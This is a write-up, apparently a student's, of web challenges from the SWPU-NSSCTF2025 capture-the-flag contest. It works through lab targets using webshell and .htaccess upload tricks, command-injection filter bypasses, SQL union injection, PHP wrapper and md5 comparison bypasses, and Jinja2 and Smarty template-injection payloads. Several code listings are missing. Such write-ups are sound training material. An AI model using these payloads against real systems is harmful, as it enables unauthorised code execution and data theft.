SWPU-NSSCTF2025-Writeup(Web&Misc)
SWPU-NSSCTF2025-Writeup(Web&Misc)
Web
gift_F12
f12或者ctrl+U查看源代码,flag在注释中。1
flag = "WLLMCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}"//flag is here
Do_you_know_http
简单考察http的几个请求头,一个是UA头,用于标记浏览器类型,这里改成WLLM就行了;另一个是X-Forwarded-For,用于记录客户端的IP地址(这里应该算是伪造用户ip),这里改成127.0.0.1就行了。
1 | |
WebFTP
法一
根据登录页面信息去搜索引擎搜开源文档管理系统webftp2011,发现有默认弱口令admin/admin888,进入后台找到phpinfo.php页面,ctrl+f搜索flag,得到flag。
法二
可以直接扫目录扫到phpinfo泄露,也是直接搜索flag。
jicao
考察简单php审计和json格式的运用
源码如下:1
2
3
4
5
6
7
8 <?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
可以看到通过post方法接收id参数,然后通过get方法接收json参数,然后判断id和json参数是否正确,如果正确就输出flag。
json参数是通过json_decode函数解码的,因此需要携程json格式的数据。
payload:
http://node7.anna.nssctf.cn:25820/?json={"x":"wllm"}
id=wllmNB
easyupload1.0
没有其他过滤,直接传写入了一句话木马的jpg,上传时bp拦截请求包改后缀为php
拿到上传路径 /upload/webshell.php。
可以看到上传成功并且被解析成php文件是这样的:
如果上传之后没有被解析成php文件执行是如下图的情况:
蚁剑连接
拿到flag,我是真没想到这个居然是假的flag,真正的flag在环境变量里。我们访问上传的webshell.pphp执行phpinfo,ctrl+f搜索flag,拿到真正的flag:
easyupload2.0
这次直接改php后缀很明显不行,不过前面开源看到环境的php才5.几版本,应该有很多后缀名都能解析,试试php3,php5,phtml等
发现phtml是可以成功被解析成php文件且能绕过黑名单的。
蚁剑连接,找到flag.php里的flag:
连接后可以把源码下下来审计一下:
1 | |
可以看到,上传文件时,会先判断文件扩展名是否包含php、hta、ini等,如果包含,则不允许上传。
easyupload3.0
先上传图片🐎,bp拦截请求包改后缀,发现都绕不过去,访问一个不存在的页面让服务器报错,看到是apache服务器,试试能不能上传.htaccess文件。
成功上传,并且看到靶机标题也有提示(刚开始没注意到)。
我们上传的1.htaccess内容如下:1
SetHandler application/x-httpd-php .jpg .png .gif
这段内容的作用是设置一个处理器,让.jpg .png .gif后缀的文件都被php处理器来处理,当成php文件解析,因此你上传的这些图片中的php代码都会被执行。
可以看到成功传上去了。
现在我们再上传之前上传失败的webshell.jpg文件,而且不用修改后缀。
这里失败了不知道为什么。
尝试另一种方法。上传2.htaccess:1
2
3
4
5<FilesMatch "webshell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
再上传webshell.jpg。这段内容的作用是设置一个处理器,指定webshell.jpg文件被php处理器来处理,当成php文件解析,因此你上传图片中的php代码都会被执行。
总结
这里我两个方法失败了emm不太清楚原因,但是原理就是这样。
知识点
.htaccess是apache分布式配置文件的默认名称,也可以在apache主配置文件中通过AccessFileName指令修改分布式配置文件的名称。 apache主配置文件中通过AllowOverride指令配置.htaccess文件中可以覆盖主配置文件的那些指令,在低于2.3.8版本中AllowOverride指令默认为All,在2.3.9及更高版本中默认为None,即在高版本中,默认情况下.htaccess已无任何作用。不过即使AllowOverride为All,为了避免安全问题,也不能覆盖所有主配置文件中的指令,具体可覆盖指令可查看https://httpd.apache.org/docs/2.2/mod/directive-dict.html#Context
在低于2.3.8版本时,因为默认的AllowOverride为all,可以尝试上传.htaccess文件修改部分配置,使用SetHandler指令使php解析指定文件。比如:先上传.htaccess文件,配置Files使PHP解析yu.txt文件,再上传yu.txt文件到当前目录下,此时yu.txt已被当作php文件解析。
finalrce
题目:
1 | |
发现啥都用不了,最重要的是exec还是无回显的,ping,wget外带也不行。
既然是无回显那只剩一种方法了,那就是写入到文件里,但是>被ban了,后面上网搜到可以用可以用tee这个命令。
url=(l\s ../../../../ |tee 1.txt)
再访问1.txt
拿到flag的名称flllllaaaaaaggggggg
a_here_is_a_f1ag没啥用
这里注意到’la’被ban了所以用通配符
再用url=(tac ../../../../../flllll??????ggggggg |tee 2.txt)
访问2.txt拿到flag。
PseudoProtocols
pseudo虚假的,也就是伪协议
根据提示 hint is hear Can you find out the hint.php?
用参数wllm访问hint.php文件,发现他应该是把hint.php作为首页解析了
访问/etc/passwd能正常返回,伪协议读hint试试
wllm=php://filter/read=convert.base64-encode/resource=hint.php
拿到真正的hint,继续用伪协议读取test2222222222222.php。
拿到获取flag的相关代码。1
2
3
4
5
6
7
8
9
10<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
需要将参数a作为文件读取,并且内容为I want flag,但是我们正常传入的a其实是字符串,file_get_contents函数会将其当做文件名。这里只能用data伪协议写入文件内容:
?a=data://text/plain,I want flag
最终payload:
http://node7.anna.nssctf.cn:28876/test2222222222222.php?a=data://text/plain,I%20want%20flag
ez_ez_php
审计源码:
1 | |
可以看到,如果GET参数file以php开头,则会include该文件,否则会输出Hacker!!。我们要读flag,就不能只读flag,而是要伪协议的读,php的读:
?file=php://filter/read=convert.base64-encode/resource=flag.php
拿到假flag,看描述真正的flag应该在flag,当前目录和根目录都试了一下,在当前目录,改一下payload:
?file=php://filter/read=convert.base64-encode/resource=flag
返回Nice!!!TlNTQ1RGe2QxYjRhMDc3LWFjZmItNDYxZS1hODI3LTQ0NTg1ZGI1ZTQ5ZX0K
base64解码拿到真正的flag。
babyRCE
1 | |
可以看到,如果GET参数rce存在且不包含cat、more、less、head、tac、tail、nl、od、vi、vim、sort、flag、空格、;、数字、*、`、%、>、<、’、”等字符,则会执行system($rce),否则会输出hhhhhhacker!!!。
可以用${IFS}替换空格,用反斜杠绕过命令,比如ca\t,n\l,ta\c都可以,虽然ban了*但是?还能用,用通配符绕过flag。
最终payload
?rce=ta\c${IFS}????.php
成功执行命令,拿到flag。
知识点
在这里小小总结一下ctf rce场景的一些关键原理。
很多绕过手法是通过php和shell不同机制导致的一些绕过:
PHP 的黑名单检测(preg_match)是在命令被交给 shell 之前,用的是“字面字符串/正则匹配”,而 shell 在执行命令时会做通配符展开 / 转义解释。
通过get传参的字符串会先进行url解码后再进行正则匹配,因此上面这道题用%09也可以绕过空格。
shell的通配符机制是检测当前目录下的文件,因此用ca?是匹配不到cat命令的,如果要用必须执行目录/bin/cat。
导弹迷踪
探姬jj出的经典题目
js审计,F12直接找就完了。
caidao
很简单的一句话木马,直接rce或者用蚁剑菜刀连接都行。
easy_sql
简单sql,get传参wllm,令wllm=1查询成功,输入1’查询出错,证明是字符型注入。
通过
order by 1-4当测到4时报错,证明一共有三列。
测回显位:
wllm=-1’ union select 1,2,3—+
回显2和3,说明回显位在第二第三列。
查表名
wllm=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() —+
得到test_tb,users
查字段名
wllm=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() —+
拿到字段id,flag,id,username,password
查flag值
wllm=-1’ union select 1,2,group_concat(id,flag) from test_tb—+
hardrce
1 | |
第一个正则匹配参数m说明开启了多行匹配,第二个正则匹配,参数i不区分大小写,参数s表示单行匹配。
黑名单如下:1
空格、\t、\r、\n、\+、\[、\^、\]、\"、\-、\$、\*、\?、\<、\>、\=、\`
注意到\t、\r、\n这几个转义字符都被ban了,因此%09、%0a、%0d都用不了了。
现在问题就是换行被限制了,绕不过,那就看看看无字母rce怎么打,一般无字母数字rce用或、异或、取反、自增都行,这道题’^’和’~’和’|’和应该都行,自增这里用不了,没有$符,但是实际情况没那么简单,我尝试用异或但是构造出来的命令会被解码出现被ban的`(反引号)字符,因此放弃,发现或运算也不行,跟异或同样的原因。
取反是可以的,payload:
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
列出根目录:
flag在/flllllaaaaaaggggggg
构造payload读flag:
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
payload构造方法
可以在搜索引擎搜索ctf、rce、取反等关键词,这里我给出我构造payload的脚本:
1 | |
sql
前面easy_sql的加强版。发现使用注释符—+被ban了,再测测发现被ban的是+,也就是空格。(因为浏览器url会把+解码成空格)用别的代替,经测试%0d和%09都可以,用%23(注释符#的url编码)也可以。那么前面查询语句%0d和%09和/**/都可以。
1 | |
常规联合查询查库名表名字段名字段值先操作一下:
1 | |
下面按照返回长度被限制的方向继续测试:
1 | |
Ping Ping Ping
很经典的的ping功能拼接命令实现rce,新生赛必出题目。简单测测空格被过滤,发现%09、0d、0a好像都不管用,用${IFS}发现{被过滤,<>也被过滤。
现场使用分号;拼接命令ls列出目录,发现返回了flag.php和index.php,尝试cat,发现flag被过滤了,通配符?和*也被过滤了。
这里想读文件必须绕过空格,经测试, %20、%09、$IFS1、1、1、{IFS}、<>、< 都不能用,但是$IFS$9和$IFS$1可以。
用命令“1;cat$IFS$9index.php”读取index.php文件拿到黑名单(但是页面上看不到,得ctrl+u查看源代码):
1 | |
发现过滤了&、/、?、*、<、>、’、”、\、(、)、[、]、{、},空格,bash,flag。
法一
由于;和$没有被过滤,尝试变量拼接绕过flag黑名单:
payload:?ip=1;a=ag.php;b=fl;cat$IFS$1$b$a
flag在源代码注释里。
法二
还可以用 内联执行绕过(即`)
payload:?ip=1;cat$IFS$1ls`
法三
payload:?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw即cat flag.php的base64编码。
知识点
; 是 shell 命令分隔符,允许执行后续命令。
内联执行(Inline Execution) 是指在一条 shell 命令中,通过特殊语法嵌入并立即执行子命令,并将子命令的输出作为参数传给外层命令。
最常见形式:
● 反引号 cmd
● $(cmd)1
cat$IFS$1`ls`
就使用了 反引号内联执行:先执行 ls,再把结果作为 cat 的参数。
|sh
将 base64 -d 的输出(即 cat flag.php)作为命令,传递给 shell 执行
sh 是 shell 解释器(题目只禁 bash,没禁 sh!)。
babyphp
三层层if判断,第一层就卡住了。。。1
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))
后面发现可以数组绕过,令a[]=1。会有个小报错,因为preg_match处理不了数组,但是可以成功绕过。
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/index.php on line 4
接着下一层判断:1
2if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))
继续数组绕过b1[]=1&b2[]=2。
最后一层:1
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
第三层还是弱比较,也不难,只能传入字符串,那就不能用数组绕过,用科学技术法绕过
c1=QNKCDZO&c2=240610708
最终payload:post传参a[]=1&b1[]=1&b2[]=2&c1=QNKCDZO&c2=240610708
奇妙的md5
在请求头看到hint里的后端查询语句:
select * from ‘admin’ where password=md5($pass,true)
这个的话感觉考察的不多,就是一个特性,之前做过,再复习一下
先看看md5这个函数:1
2
3
4MD5(string,raw)
string:要计算的字符串(必须)
raw(可选):默认不写为false,32位16进制的字符串
true,16位原始二进制格式的字符串
也就是说,默认时会正常进行md5计算返回32位的md5值,选了true之后会将32位的MD5值从十六进制转为明文字符串(但是可能会有乱码)。
本地测试一下:
发现返回的是’or’6�]��!r,��b,这恰好是sql查询中的万能密码,这就是ffifdyop的特殊之处,由于他md5后前四个字节的数据是276f7227,将其作为十六进制转化为对应的额ascii码表对应的值就是’or’,再看回到完整查询语句会变成:
select * from ‘admin’ where password=’’or’6�]��!r,��b’
恒为真,回到题目输入这个特殊的字符串就行了。
没想到还有后续,进入/c0nt1nue.php,查看源代码。1
2
3
4
5
6<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
;
-->
简单数组绕过一下,?x[]=1&y[]=2,还有一关,/f1na11y.php:1
2
3
4
5
6
7
8
9<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}
post传参数组绕过就行了,wqh[]=1&dsy[]=2
高亮主题(划掉)背景查看器
1 | |
进到页面看到以上代码,发现做了目录穿越的过滤,但是感觉不太对这里只用include包含好像也读不出来,试一下选用不同theme的功能抓到post请求包,发现没有做任何过滤直接读取根目录的flag。
ez_SSTI
提示用fenjing一把梭,还是手工先试一下吧,参数name=,用最简单的{{7*7}}测试漏洞,还有提示,很友好。用fenjing一下就跑出payload了,payload:
{{((lipsum.__globals__.__builtins__.__import__('os')).popen('echo f3n j1ng;')).read()}}
那就学习一下这篇文章看看能不能手注出来,文章如下:
https://www.cnblogs.com/hetianlab/p/17273687.html
先查找当前类的对象,发现用’和”都会返回500,不知道是过滤还是啥,用[]、()、{}都可以。
name={{[].__class__}}
后面又试了一下原来是我的问题,’’和””都要完整闭合,属于str类。
继续查找其父类
name={{{}.__class__.__base__}}
直接返回顶级类object。
接下来继续查找子类
name={{{}.__class__.__base__.__subclasses__()}}
这时候能看到很多子类,我们需要找到我们要利用的类。
name={{[].__class__.__base__.__subclasses__()[137]}}
在索引137找到子类。
用来调用popen命令。
{{"".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.popen('cat /flag').read()}}
看看ip
进入靶机是一个可以查看本机电脑公网ip的功能,根据经验看看能不能XFF头伪造ip,结果是可以的。
这里查询ip是调用了一个api接口,也就是说我们xxf伪造的值可以传到后端?尝试验证是否存在SSTI。
应该跟之前国赛的题差不多, CISCN2019华东南赛区Web11 ,因此这道题也不难,可以直接执行命令。
X-Forwarded-For: {{system('ls /')}}
X-Forwarded-For: {{system('cat /flag')}}
知识点
下面我们详细学学smarty模板引擎的漏洞原理和常规手法。
常规手法
一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。该题目的Smarty版本是 3.1.48 。
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但就该题目而言,使用{php}phpinfo();{/php}标签会报错:1
{php}{/php} tags not allowed. Use SmartyBC to enable them <-- thrown in /var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 60
在Smarty3的官方手册里有以下描述:
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
该题目使用的是Smarty类,所以只能另寻它路。
可以用{if}标签
官方文档中看到这样的描述:
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}
将XFF头改为{if phpinfo()}{/if},可以看到题目执行了phpinfo() 。
用{if system(‘cat /flag’)}{/if}同样可以执行命令获取flag。
漏洞原理
后端的源码大概是这样的:1
2
3
4
5
6<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("Current IP: ".$ip); // display函数把标签替换成对象的php变量;显示模板
}
可以看到这里使用字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,产生了SSTI。
了解更多可以看看这篇先知社区的文章:
https://xz.aliyun.com/news/11666







































